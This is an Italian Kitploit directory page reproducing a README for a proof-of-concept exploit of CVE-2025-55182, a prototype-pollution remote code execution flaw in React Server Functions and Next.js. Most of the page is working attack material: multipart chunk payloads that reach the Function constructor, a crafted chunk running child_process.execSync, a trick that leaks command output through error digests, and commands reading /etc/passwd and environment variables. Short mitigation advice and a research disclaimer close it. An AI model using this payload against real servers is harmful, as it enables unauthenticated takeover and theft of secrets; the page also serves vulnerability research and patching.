Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182 — Exploit proof-of-concept per CVE-2025-55182, una vulnerabilità di esecuzione di codice remoto nelle React Server Functions (Next.js). Dimostra l'inquinamento del prototipo che porta all'esecuzione di codice arbitrario non autenticata tramite richieste HTTP formulate ad arte. | Kitploit
Strumenti/GitHubGitHub/yuta3003/cve-2025-55182
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPaper e RicercaApprendimento e Formazione
GitHubyuta3003/cve-2025-55182

CVE-2025-55182

Exploit proof-of-concept per CVE-2025-55182, una vulnerabilità di esecuzione di codice remoto nelle React Server Functions (Next.js). Dimostra l'inquinamento del prototipo che porta all'esecuzione di codice arbitrario non autenticata tramite richieste HTTP formulate ad arte.

Vedi Repository
29 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182

Codice di prova per la vulnerabilità di esecuzione remota di codice (RCE) nelle React Server Functions (Next.js, ecc.). Sfrutta l'inquinamento del prototipo per eseguire codice arbitrario sul server senza autenticazione.

Attenzione: questo repository è a scopo educativo e di ricerca. È severamente vietato abusarne.


Panoramica

Versioni interessate

  • Next.js: 16.0.6 e precedenti (vulnerabile)
  • React: precedenti a questo commit

Gravità della vulnerabilità

  • CVSS: Alta (punteggio dettagliato non ancora pubblicato)
  • Difficoltà di attacco: Bassa (senza autenticazione, attaccabile con una singola richiesta HTTP)
  • Impatto: Esecuzione di codice arbitrario sul server

Causa della vulnerabilità

Nel processo di deserializzazione del React Flight Protocol, la verifica della catena di prototipi è insufficiente. Ciò consente di accedere al costruttore Function tramite ed eseguire codice JavaScript arbitrario.

__proto__

Utilizzo

Ambiente Docker (consigliato)

Il metodo più semplice per la verifica.

root@kitploit:~
# 1. Avviare il server Next.js vulnerabile
docker compose up -d --build

# 1. Eseguire l'exploit (predefinito: comando id)
docker compose run --rm poc

# 4. Eseguire un comando personalizzato
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 5. Fermare il server
docker-compose down

Spiegazione tecnica

1. Prerequisiti

Cosa sono le React Server Functions

Una funzionalità API lato server offerta da Next.js e altri framework.

root@kitploit:~
// Server Action (funzione eseguita solo lato server)
async function submitForm(formData) {
  'use server'  // ← dichiarazione di funzione server

  // Operazioni lato server, come interazioni con il database
  const result = await db.insert(formData)
  return result
}

Quando viene chiamata dal client:

  1. Viene inviata al server come richiesta HTTP
  2. Gli argomenti vengono serializzati/deserializzati tramite React Flight Protocol
  3. La funzione viene eseguita sul server
  4. Il risultato viene restituito al client

Meccanismo del React Flight Protocol

Il client invia dati in unità chiamate "chunk":

root@kitploit:~
files = {
    "0": (None, '["$1"]'),                                  # chunk 0: riferimento al chunk 1
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # chunk 1: riferimento a fruitName del chunk 2
    "2": (None, '{"fruitName":"cherry"}'),                  # chunk 2: dati effettivi
}

Dopo la deserializzazione lato server:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

Il punto chiave è che i chunk possono riferirsi tra loro.


2. Dettagli della vulnerabilità

Il problema

Prima del commit di correzione, quando si risolvevano i riferimenti tra chunk, non veniva verificato se la chiave esistesse effettivamente nell'oggetto.

Ciò consente di accedere alla catena di prototipi.

Attacco base (ottenere il costruttore Function)

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Processo di risoluzione del riferimento:

root@kitploit:~
Oggetto del chunk 1 → __proto__ → constructor → constructor → Function

Risultato:

root@kitploit:~
[Function: Function]  // Ottenuto il costruttore Function!

Sviluppo dell'attacco (sfruttamento del metodo then)

Impostando il chunk 0 come oggetto e la proprietà then al costruttore Function:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Nel codice di Next.js (action-handler.ts:888, prima della patch):

root@kitploit:~
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Questo await tenta di chiamare then come funzione (costruttore Function) sull'oggetto, causando un errore:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

3. Tecniche di exploit (avanzate)

Sfida

Abbiamo ottenuto il costruttore Function, ma come eseguire codice arbitrario?

Cosa serve:

  1. Un gadget per chiamare il costruttore Function (passandogli una stringa di codice)
  2. Un gadget per eseguire la funzione generata

Soluzione: chunk autoreferenziali

Idea di maple3142: creare un "falso chunk" in cui il chunk 0 fa riferimento a se stesso.

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # sovrascrive il proprio then con Chunk.prototype.then
    "1": (None, '"$@0"'),                          # $@0 = rappresentazione "grezza" del chunk 0
}

La sintassi $@ restituisce il chunk "grezzo" invece del valore risolto:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Risultato: il then del chunk 0 viene sostituito con Chunk.prototype.then.

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← qui si entra
  }
  // ...
}

Sfruttamento della valutazione in due fasi

Impostando lo stato del falso chunk a "resolved_model", viene chiamata initializeModelChunk:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Internamente, initializeModelChunk:

root@kitploit:~
function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

Qui avviene una seconda valutazione.

Payload finale: sfruttamento della gestione dei Blob

La gestione dei blob nel React Flight Protocol (prefisso $B):

root@kitploit:~
case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← sfruttato qui
  );

Manipolando _response del falso chunk in modo che _formData.get sia il costruttore Function e _prefix il codice da eseguire:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # per evitare errori in toString()
    "value": '{"then": "$B0"}',  # imposta then con riferimento blob
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # costruttore Function
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Flusso di esecuzione:

root@kitploit:~
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// Questa funzione viene chiamata con await → esecuzione del codice!

4. Funzionamento del PoC

poc.py implementa il payload sopra descritto ed estrae l'output del comando dai messaggi di errore:

root@kitploit:~
# Incorpora l'output del comando nel campo digest dell'errore
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

Basta impostare l'header HTTP Next-Action: x per realizzare l'attacco:

root@kitploit:~
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

Importante: l'attacco avviene durante la deserializzazione, quindi prima della verifica dell'azione (getActionModIdOrError).


Contromisure

Per sviluppatori

  1. Aggiornare immediatamente: portare React e Next.js all'ultima versione

    root@kitploit:~
    npm update react react-dom next
    
  2. Verificare le versioni:

    root@kitploit:~
    npm list react next
    
    • Next.js 16.0.7 o successiva
    • React 19.2.1 o successiva (con il commit di correzione)
  3. WAF/misure di sicurezza:

    • Monitorare l'header Next-Action
    • Bloccare dati form anomali

Scansione delle vulnerabilità

root@kitploit:~
# Controllo delle vulnerabilità del progetto
npm audit

Riferimenti

  1. Documentazione ufficiale delle React Server Functions
  2. Spiegazione del React Flight Protocol
  3. Commit di correzione
  4. Spiegazione dei prototipi JavaScript
  5. Costruttore Function
  6. Scopritore: maple3142

Licenza e disclaimer

Questo repository è fornito esclusivamente a scopo educativo e di ricerca.

  • È illegale utilizzarlo contro sistemi di terze parti senza autorizzazione
  • L'autore non si assume alcuna responsabilità per danni derivanti dall'uso
  • I ricercatori di sicurezza sono invitati a utilizzarlo in modo responsabile

Contributi

Scoperta della vulnerabilità: maple3142 Implementazione del PoC: autore di questo repository

Scarica lo strumento